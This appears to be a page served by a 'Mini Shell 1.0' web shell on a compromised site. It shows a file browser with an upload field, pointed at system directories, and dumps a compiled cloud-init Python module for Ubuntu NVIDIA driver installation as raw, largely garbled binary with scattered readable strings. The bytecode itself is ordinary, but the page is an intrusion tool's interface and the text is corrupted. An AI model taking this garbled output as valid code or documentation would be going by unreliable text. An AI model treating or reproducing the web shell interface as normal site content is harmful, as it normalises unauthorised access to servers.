HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /lib/python3/dist-packages/cloudinit/config/__pycache__/
Upload File :
Current File : //lib/python3/dist-packages/cloudinit/config/__pycache__/cc_ubuntu_drivers.cpython-311.pyc
�

܍~c���z�UdZddlZddlmZddlmZddlmZ	ddlZdZ	n#e
$rdZdZ	YnwxYwddlmZdd	l
mZdd
l
mZmZmZmZddlmZddlmZmZdd
lmZeje��ZdgZddded��eed��gedgd�Zeed<ee��ZdZ dZ!dZ"defd�Z#de$dededed e%d!dfd"�Z&dS)#z<Ubuntu Drivers: Interact with third party drivers in Ubuntu.�N)�dedent)�Cloud)�DistroTF)�Logger)�log)�subp�
temp_utils�
type_utils�util)�Config)�
MetaSchema�get_meta_doc)�PER_INSTANCE�ubuntu�cc_ubuntu_driverszUbuntu Driversz,Interact with third party drivers in Ubuntu.zo        This module interacts with the 'ubuntu-drivers' command to install
        third party driver packages.zN        drivers:
          nvidia:
            license-accepted: true
        �drivers)�id�name�title�description�distros�examples�	frequency�activate_by_schema_keys�metazDubuntu-drivers: error: argument <command>: invalid choice: 'install'z�Template: linux/nvidia/latelink
Type: boolean
Default: true
Description: Late-link NVIDIA kernel modules?
 Enable this to link the NVIDIA kernel modules in cloud-init and
 make them available for use.
�X_LOADTEMPLATEFILE�distroc���t|t��s'tdtj|���d|�����d}tjtj||����}|st�	d||��dStjd��s&t�	d��|dg��d}tj|d	��}|r|d
�|��z
}t�	d|||r|nd��tj|���d
���}t j�|d��}	tj|t(��t+jd��5}	|	�t0|��ddd��n#1swxYwYn;#t2$r.}
tjtdt7|
�����d}
~
wwxYwt j�|��rtj|��n9#t j�|��rtj|��wwxYw	tj
ddd|g��dS#tj$rR}t>|j vrt�!d��n#d|j"vrt�!d���d}~wwxYw)Nz''drivers' config expected dict, found 'z': znvidia/license-acceptedz$Not installing NVIDIA drivers. %s=%szubuntu-driverszI'ubuntu-drivers' command not available.  Installing ubuntu-drivers-commonzubuntu-drivers-common�nvidiaznvidia/versionz:{}z<Installing and activating NVIDIA drivers (%s=%s, version=%s)�latestT)�dir�	needs_exeznvidia.templatez
cloud-initz.Failed to register NVIDIA debconf template: %s�installz--gpgpuz[the available version of ubuntu-drivers is too old to perform requested driver installationz"No drivers found for installation.z0ubuntu-drivers found no drivers for installation)#�
isinstance�dict�	TypeErrorr
�obj_namer�translate_bool�get_cfg_by_path�LOG�debugr�which�formatr	�mkdtemp�get_tmp_exec_path�os�path�join�
write_file�NVIDIA_DEBCONF_CONTENT�debconf�DebconfCommunicator�commandr�	Exception�logexc�str�isdir�del_dir�ProcessExecutionError� OLD_UBUNTU_DRIVERS_STDERR_NEEDLE�stderr�warning�stdout)�cfg�pkg_install_funcr�cfgpath�nv_acc�
driver_arg�version_cfg�tdir�debconf_file�dc�e�excs            �D/usr/lib/python3/dist-packages/cloudinit/config/cc_ubuntu_drivers.py�install_driversrNOs<���c�4� � �
��i��"�3�'�'�'�'���
.�
�
�	
�
(�G��
 ��!5�c�7�!C�!C�
D�
D�F����	�	�8�'�6�J�J�J����:�&�'�'�4��	�	�
/�	
�	
�	
�	��1�2�3�3�3��J��&�s�,<�=�=�K��0��e�l�l�;�/�/�/�
��I�I�F���"�0����	�����&�":�":�"<�"<��M�M�M�D��7�<�<��&7�8�8�L�����&<�=�=�=�
�
(��
6�
6�	9�"��J�J�)�<�8�8�8�	9�	9�	9�	9�	9�	9�	9�	9�	9�	9�	9����	9�	9�	9�	9����������A�3�q�6�6�	
�	
�	
�	�����	�����7�=�=����	��L��������7�=�=����	��L������	����
��	�#�Y�	�:�F�G�G�G�G�G���%����+�s�z�9�9��K�K�D�
�
�
�
�2�S�Z�
?�
?��K�K�J�K�K�K�
��������sg�.F=�	F1�%F=�1F5�5F=�8F5�9F=�<H,�=
G5�)G0�0G5�5H,�,6I"�&J�K!�A
K�K!rrB�cloudr�args�returnc���d|vr|�d|��dSts|�d|��dSt|d|jj|j��dS)Nrz4Skipping module named %s, no 'drivers' key in configz<Skipping module named %s, 'python3-debconf' is not installed)r+�HAS_DEBCONFr@rNr�install_packages)rrBrOrrPs     rM�handlerU�s��������	�	�H�$�O�O�O��������J��	
�	
�	
�	����I����5�u�|������)'�__doc__r0�textwrapr�cloudinit.cloudr�cloudinit.distrosrr5rS�ImportError�loggingr�	cloudinitrrr	r
r�cloudinit.configr�cloudinit.config.schemar
r�cloudinit.settingsr�	getLogger�__name__r*rr�__annotations__r>r4rrNr:�listrU�rVrM�<module>rfs'��C�B�B�	�	�	�	�������!�!�!�!�!�!�$�$�$�$�$�$���N�N�N��K�K�������G��K�K�K�����������$�$�$�$�$�$�8�8�8�8�8�8�8�8�8�8�8�8�#�#�#�#�#�#�<�<�<�<�<�<�<�<�+�+�+�+�+�+��g���!�!���*����
;��6�	(���
���
�	
�	
��� )�{�)���j����.�,�t�
�
��K�!���*��=�6�=�=�=�=�@�

����#(��/5��=A��	������s�"�	.�.